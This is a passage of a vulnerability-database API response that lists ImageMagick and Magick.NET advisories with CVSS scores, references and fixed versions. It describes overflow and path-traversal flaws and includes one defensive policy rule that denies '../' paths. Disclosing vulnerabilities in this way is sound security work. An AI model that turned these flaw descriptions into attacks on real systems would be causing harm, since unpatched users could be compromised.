using a specific image it is possible to overflow this buffer and corrupt the stack.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30929.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30929.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30929", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05502", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30929" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445896", "reference_id": "2445896", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445896" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30929", "reference_id": "CVE-2026-30929", "reference_type": "", "scores": [ { "value": "7.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30929" }, { "reference_url": "https://github.com/advisories/GHSA-rqq8-jh93-f4vg", "reference_id": "GHSA-rqq8-jh93-f4vg", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-rqq8-jh93-f4vg" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rqq8-jh93-f4vg", "reference_id": "GHSA-rqq8-jh93-f4vg", "reference_type": "", "scores": [ { "value": "7.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T14:52:35Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rqq8-jh93-f4vg" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-30929", "GHSA-rqq8-jh93-f4vg" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-t7w8-fz8u-zud8" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50905?format=api", "vulnerability_id": "VCID-taap-mm6q-xuef", "summary": "ImageMagick has heap buffer overflow in YUV 4:2:2 decoder\nA heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer.\n\n```\n=================================================================\n==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260\nWRITE of size 8 at 0x5170000002e0 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25986.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25986.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25986", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00027", "scoring_system": "epss", "scoring_elements": "0.08165", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25986" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25986", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25986" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442111", "reference_id": "2442111", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442111" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25986", "reference_id": "CVE-2026-25986", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25986" }, { "reference_url": "https://github.com/advisories/GHSA-mqfc-82jx-3mr2", "reference_id": "GHSA-mqfc-82jx-3mr2", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-mqfc-82jx-3mr2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mqfc-82jx-3mr2", "reference_id": "GHSA-mqfc-82jx-3mr2", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:06:36Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mqfc-82jx-3mr2" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25986", "GHSA-mqfc-82jx-3mr2" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-taap-mm6q-xuef" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89855?format=api", "vulnerability_id": "VCID-tv7n-7xa2-8uba", "summary": "ImageMagick has has a stack-buffer-overflow in MNG encoder with oversized pallete\nThe patch for GHSA-7h7q-j33q-hvpf was incomplete and still allows a stack buffer overflow for the multi frame images.", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-98cp-rj9f-6v5g", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-98cp-rj9f-6v5g" }, { "reference_url": "https://github.com/advisories/GHSA-98cp-rj9f-6v5g", "reference_id": "GHSA-98cp-rj9f-6v5g", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-98cp-rj9f-6v5g" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "GHSA-98cp-rj9f-6v5g" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-tv7n-7xa2-8uba" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50329?format=api", "vulnerability_id": "VCID-u59k-v6pm-qud3", "summary": "ImageMagick: Policy bypass through path traversal allows reading restricted content despite secured policy\nImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/* can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied.\n\nActions to prevent reading from files have been taken. But it make sure writing is also not possible the following should be added to your policy:\n\n```\n<policy domain=\"path\" rights=\"none\" pattern=\"*../*\"/>\n```\n\nAnd this will also be included in the project's more secure policies by default.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25965.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25965.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25965", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.0513", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25965" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25965", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25965" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442118", "reference_id": "2442118", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442118" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25965", "reference_id": "CVE-2026-25965", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25965" }, { "reference_url": "https://github.com/advisories/GHSA-8jvj-p28h-9gm7", "reference_id": "GHSA-8jvj-p28h-9gm7", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-8jvj-p28h-9gm7" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8jvj-p28h-9gm7", "reference_id": "GHSA-8jvj-p28h-9gm7", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:28:41Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8jvj-p28h-9gm7" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:5573", "reference_id": "RHSA-2026:5573", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:5573" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25965", "GHSA-8jvj-p28h-9gm7" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-u59k-v6pm-qud3" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62844?format=api", "vulnerability_id": "VCID-uq5q-t36h-8fcw", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of Service due to heap buffer overflow in MVG decoder", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33901.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33901.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33901", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05237", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33901" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33901", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33901" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T13:50:52Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/4c72003e9e54a4ebaa938d239e75f5d285527ebe", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T13:50:52Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/4c72003e9e54a4ebaa938d239e75f5d285527ebe" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-x9h5-r9v2-vcww", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-14T13:50:52Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-x9h5-r9v2-vcww" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33901", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33901" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458023", "reference_id": "2458023", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458023" }, { "reference_url": "https://github.com/advisories/GHSA-x9h5-r9v2-vcww", "reference_id": "GHSA-x9h5-r9v2-vcww", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-x9h5-r9v2-vcww" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-33901", "GHSA-x9h5-r9v2-vcww" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-uq5q-t36h-8fcw" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/90169?format=api", "vulnerability_id": "VCID-v64w-9gd4-rqhh", "summary": "ImageMagick has out-of-bounds access in ConnectedComponentsImage() via CLI-controlled connected-components:* artifacts\nWhen the `connected-components:*` define specifies an invalid index and out of bound operation will result in an access violation.", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pmpg-6pww-fg6q", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pmpg-6pww-fg6q" }, { "reference_url": "https://github.com/advisories/GHSA-pmpg-6pww-fg6q", "reference_id": "GHSA-pmpg-6pww-fg6q", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-pmpg-6pww-fg6q" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "GHSA-pmpg-6pww-fg6q" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-v64w-9gd4-rqhh" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50360?format=api", "vulnerability_id": "VCID-v8sf-9pty-aqh4", "summary": "ImageMagick: Malicious PCD files trigger 1‑byte heap 